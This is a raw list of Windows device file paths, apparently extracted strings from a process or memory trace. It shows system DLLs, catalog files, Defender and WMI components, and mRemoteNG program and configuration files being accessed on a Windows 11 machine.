\Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\log4net.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\log4net.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\log4net.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\log4net.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\BouncyCastle.Crypto.dll \Device\HarddiskVolume3\Windows\SysWOW64\tzres.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll::$EA \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\WMINet_Utils.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\WMINet_Utils.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\WMINet_Utils.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\WMINet_Utils.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\WMINet_Utils.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\WMINet_Utils.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemsvc.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemsvc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemsvc.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemsvc.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemsvc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemsvc.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll \Device\HarddiskVolume3\Windows\SysWOW64\userenv.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\perfos.dll \Device\HarddiskVolume3\Windows\SysWOW64\psapi.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\Icons \Device\HarddiskVolume3\Windows\System32\TextShaping.dll \Device\HarddiskVolume3\Windows\SysWOW64\TextInputFramework.dll \Device\HarddiskVolume3\Windows\SysWOW64\TextInputFramework.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\TextInputFramework.dll \Device\HarddiskVolume3\Windows\SysWOW64\TextInputFramework.dll \Device\HarddiskVolume3\Windows\SysWOW64\TextInputFramework.dll::$EA \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\ObjectListView.dll \Device\HarddiskVolume3\Windows\SysWOW64\DataExchange.dll \Device\HarddiskVolume3\Windows\SysWOW64\DataExchange.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\DataExchange.dll \Device\HarddiskVolume3\Windows\SysWOW64\DataExchange.dll \Device\HarddiskVolume3\Windows\SysWOW64\DataExchange.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\DataExchange.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\SysWOW64\twinapi.appcore.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\SysWOW64\twinapi.appcore.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\twinapi.appcore.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\confCons.xml \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\OneCoreCommonProxyStub.dll 26U" 16\" 2/"X 06J"3 2A"o2 ";>= \Device\HarddiskVolume3\Users\job\AppData\Local\Comms\Unistore\data\AggregateCache.uca \Device\HarddiskVolume3\Windows\SysWOW64\CoreMessaging.dll \Device\HarddiskVolume3\Windows\SysWOW64\CoreMessaging.dll \Device\HarddiskVolume3\Windows\SysWOW64\CoreMessaging.dll \Device\HarddiskVolume3\Windows\SysWOW64\CoreUIComponents.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\CoreUIComponents.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\CoreUIComponents.dll \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\System32\wincorlib.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico \Device\HarddiskVolume3\Windows\System32\slc.dll \Device\HarddiskVolume3\Windows\System32\Windows.Storage.ApplicationData.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG2 ey\L \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Windows\System32\Windows.Services.TargetedContent.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\System32\ContentDeliveryManager.Utilities.dll \Device\HarddiskVolume3\Windows\System32\NotificationControllerPS.dll \Device\HarddiskVolume3\Windows\System32\wbem\NCProv.dll \Device\HarddiskVolume3\Windows\System32\wbem\NCProv.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\wbem\NCProv.dll \Device\HarddiskVolume3\Windows\System32\wbem\NCProv.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\WmiPrvSE.exe \Device\HarddiskVolume3\Windows\SysWOW64\wbem\WmiPrvSE.exe:WofCompressedData eC:\WINDOWS\sysWOW64\wbem\wmiprvse.exe -Embedding \Device\HarddiskVolume3\Windows\System32\wow64.dll \Device\HarddiskVolume3\Windows\System32\wow64base.dll \Device\HarddiskVolume3\Windows\System32\wow64win.dll \Device\HarddiskVolume3\Windows\System32\wow64con.dll \Device\HarddiskVolume3\Windows\System32\wow64cpu.dll \Device\HarddiskVolume3\Windows\SysWOW64\kernel32.dll \Device\HarddiskVolume3\Windows\SysWOW64\KernelBase.dll \Device\HarddiskVolume3\Windows\SysWOW64\msvcrt.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\fastprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\combase.dll \Device\HarddiskVolume3\Windows\SysWOW64\ucrtbase.dll \Device\HarddiskVolume3\Windows\SysWOW64\rpcrt4.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\SysWOW64\advapi32.dll \Device\HarddiskVolume3\Windows\SysWOW64\sechost.dll \Device\HarddiskVolume3\Windows\SysWOW64\user32.dll \Device\HarddiskVolume3\Windows\SysWOW64\win32u.dll \Device\HarddiskVolume3\Windows\SysWOW64\gdi32.dll \Device\HarddiskVolume3\Windows\SysWOW64\gdi32full.dll \Device\HarddiskVolume3\Windows\SysWOW64\msvcp_win.dll \Device\HarddiskVolume3\Windows\SysWOW64\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemsvc.dll \Device\HarddiskVolume3\Windows\SysWOW64\profapi.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\MpOAV.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wmiutils.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\stdprov.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\en-US\wmiutils.dll.mui \Device\HarddiskVolume3\Windows\SysWOW64\wbem\en-US\wmiutils.dll.mui:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\System32\MMDevAPI.dll \Device\HarddiskVolume3\Windows\Media\Windows Background.wav \Device\HarddiskVolume3\Windows\Media\Windows Background.wav:WofCompressedData \Device\HarddiskVolume3\Windows\System32\devobj.dll \Device\HarddiskVolume3\Windows\System32\cfgmgr32.dll \Device\HarddiskVolume3\Windows\System32\avrt.dll \Device\HarddiskVolume3\Windows\System32\ResourcePolicyClient.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.dll e"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy OobeHost \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll nA^B =BKN \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll e"C:\WINDOWS\system32\backgroundTaskHost.exe" 